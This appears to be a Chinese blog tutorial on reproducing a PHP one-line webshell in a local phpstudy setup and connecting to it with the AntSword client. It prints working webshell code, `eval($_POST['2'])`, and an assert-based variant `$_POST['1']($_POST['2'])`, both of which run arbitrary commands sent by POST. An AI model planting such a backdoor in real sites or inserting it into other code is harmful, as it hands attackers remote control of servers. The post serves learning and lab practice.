当前位置:网站首页>复现php一句话木马
复现php一句话木马
2022-07-26 10:55:00 【熬夜且瞌睡】
在phpstudy-pro中,开启apache,MySQL,在WWW目录中创建php文件,在该php文件中进行代码的编写
<?php
eval($_POST['2']);
?>
打开中国蚁剑测试
输入测试的本地地址,连接密码输入2,编码格式选择base64,点击测试连接

当显示连接成功时,点击添加,双击添加的那条记录,看见网站 内容和目录结构,代表已经和成功了。

修改一下php文件
<?php
$_POST['1']($_POST['2']);
?>

eval的规则:eval是一个语言构造器,他不是一个函数,所以不能被可变函数进行调用。
使用assert;assert也可以执行任意命令,

显示连接成功 。
边栏推荐
- 菜鸟看源码之ArrayList
- Wechat official account development obtains openid times error 40029 invalid code solution
- Dictionary and int matrix
- How the ThreadPoolExecutor performs tasks
- Wireshark basic tutorial Ethernet frame analysis.
- C notes
- Bash shell学习笔记(三)
- 1837. Sum of digits under k-ary representation
- 104. Maximum depth of binary tree
- pytest pytest. Ini configuration case grouping case skipping
猜你喜欢

pytest pytest. Ini configuration case grouping case skipping

使用Selenium抓取zabbix性能监控图

344. Reverse string

QT——连接USB摄像头

3dunity game project practice - first person shooting game

Bash shell学习笔记(四)

How the ThreadPoolExecutor performs tasks

微信公众号消息通知 “errcode“:40164,“errmsg“:“invalid ip

Bash shell学习笔记(一)

easyui05
随机推荐
There is an unhandled exception at 0x003b66c3 in MFC: 0xc000041d: unhandled exception encountered during user callback
HCI interface
@Notblank, @notnull, @notempty differences and uses
Bash shell学习笔记(一)
Sword finger offer (53): a string representing a numeric value
104. Maximum depth of binary tree
pytest pytest. Ini configuration case grouping case skipping
What are the biz layer and manager layer in the company project
QT——LCDNumber
242. Effective letter heteronyms
像素和内存的关系
WinPcap packet capturing function pcap_ Loop (), stop the problem
Visual conversion of nmap vulnerability scanning results
ArrayList of novice source code
Connection between PLC and servo motor
Scrapy shell出现的一个错误
Wireshark basic tutorial Ethernet frame analysis.
Att request of ble
Shell script fails to execute repeatedly automatically
postman 导出导入